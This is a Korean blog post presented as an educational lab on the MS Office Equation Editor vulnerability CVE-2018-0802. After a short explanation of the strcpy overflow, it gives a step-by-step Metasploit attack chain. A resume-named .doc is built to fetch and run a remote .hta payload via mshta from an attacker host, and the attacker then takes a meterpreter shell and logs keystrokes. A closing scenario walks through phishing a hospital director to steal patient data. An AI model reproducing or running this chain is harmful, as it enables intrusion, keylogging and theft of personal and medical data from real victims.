CVE-2018-0802 MS Office 취약점 실습 (Metasploit)

목차

  1. Disclaimer
  2. CVE-2018-0802 취약점 발생 원인 요약
  3. PoC
  4. 공격 코드 설명
  5. 발생 가능한 시나리오
  6. References

1. Disclaimer

All the content shown in this post is only for educational purposes. Any misuse of this content is completely at your own risk.
Do not try to attempt to break laws or do any illegal stuff by using this.

이 포스트에서 보여지는 모든 컨텐츠는 교육적인 목적으로만 제작되었습니다. 해당 컨텐츠를 오용한 결과는 전적으로 오용한 본인 책임입니다.
이 포스트에서 다루는 내용을 이용해 불법적인 일을 저지르려고 하지 마십시오.


2. CVE-2018-0802 취약점 발생 원인 요약

Microsoft Office의 2007, 2010, 2013, 2016 버전에서 발생되는 CVE-2018-0802 취약점은 Office 문서에 수식을 삽입하고 편집할 때 사용하는 컴포넌트인 EQNEDT32.exe에서 발생합니다.

EQNEDT32.exe에서 폰트 레코드명을 처리하는 과정에서 원본과 대상 버퍼의 크기를 체크하지 않는, 공격에 취약한 함수인 strcpy()가 사용되었습니다.

  • SUB_41160F() 내부의 strcpy() – CVE-2017-11882 취약점 관련
  • SUB_421774() 내부의 SUB_421E39() 에서의 strcpy() – CVE2018-0802 취약점 관련

MS의 2017년 11월 패치 이후에는 SUB_41160F()함수의 strcpy() 전후 버퍼 크기를 확인하는 코드가 추가되었지만, SUB_421E39() 함수에 대해서는 조치가 취해지지 않았다고 합니다. 오히려 이 업데이트 이후에 SUB_41160F() 함수를 통과해 SUB_421E39()까지 제어가 넘어올 수 있게 되면서 ‘버퍼 오버플로우(Buffer Overflow)’ 공격이 발생될 수 있는 취약점이 존재합니다.


3. PoC


4. 공격 코드 설명

> use exploit/windows/misc/hta_server

hta_server 모듈은 .hta 파일이 실행되고 파워쉘을 통해 공격자의 페이로드를 실행시켜주는 해당 .hta파일을 제공합니다.

> set srvhost 192.168.55.32

활성화되어있는 로컬 호스트의 주소를 적여야 합니다. 저는 가상머신의 칼리 리눅스를 사용했으므로 칼리의 ip를 적어주었습니다.

> exploit

이 모듈을 이용해 익스플로잇을 하면 공격 페이로드가 삽입된 .hta파일이 생성됩니다. http://공격자의_주소/랜덤문자열.hta 위치에서 호스팅됩니다.

python RTF_11882_0802.py -c "mshta http://192.168.55.32:8080/Fkf0e3JN6.hta" -o resume.doc

MS Office 수식편집기 취약점인 CVE-2017-11882와 CVE-2018-0802의 뒷번호를 딴 RTF_11882_0802.py 파이썬 코드를 이용해 -c 옵션으로 방금 익스플로잇을 수행해서 생성된 .hta파일을 입력하고, 출력되는 Office 파일의 이름을 -o 옵션에 적어줍니다.

> sessions -i 1

희생자가 .doc를 열면 세션이 활성화되고, 첫번째로 활성화된 세션과 연결을 맺습니다.

meterpreter > sysinfo

미터프리터 세션을 이용해 희생자의 시스템 정보를 가져옵니다.

meterpreter > shell

희생자 컴퓨터에서 cmd 명령어를 입력할 수 있습니다.

meterpreter > keyscan_start

희생자의 키보드 입력을 전달받습니다(키로깅).

meterpreter > keyscan_dump

keyscan_start 부터 시작한 키로깅을 중단하고 로그 정보를 출력합니다.


5. 발생 가능한 시나리오

해커 A씨는 병원장 B씨의 개인정보와 고객 리스트를 해킹하려는 의도를 갖고 있었습니다. 그래서 사전조사를 통해 해커 A씨가 알아낸 것은, B씨가 운영하는 개인병원에서는 병원 내의 망분리도 되있지 않다는 것과 병원 내에는 Wifi 공유기만을 설치해 병원을 운영하고 있다는 것 이었습니다. 또한 A씨는 B씨의 개인병원 홈페이지 메인화면 아래쪽 footer 부분에 그의 이메일이 적혀있는 것을 발견했습니다.

B씨의 개인병원 메인 홈페이지 화면
병원장 B씨 홈페이지 footer 부분에 적혀있는 이메일 주소

(시나리오 예제 사이트는 여기에서 확인하실 수 있습니다.)

해커 A씨는 그의 스마트폰에 칼리리눅스를 설치하고, 환자인 척 B씨의 병원에 가서 wifi를 연결했습니다. 해커 A씨는 칼리리눅스의 메타스플로잇을 이용해 악성 데이터가 삽입된 .doc 파일을 제작하고, 병원장 B씨 에게 다음과 같은 이력서를 메일로 보냈습니다 :

피싱을 위한 이력서 파일

이렇게 A씨는 B씨를 피싱하는데 성공한 후, 미터프리터 세션을 이용해 keyscan을 수행하고, 병원장의 개인정보와 병원 고객의 데이터를 빼내는데 성공했다고 합니다.


6. References

댓글 남기기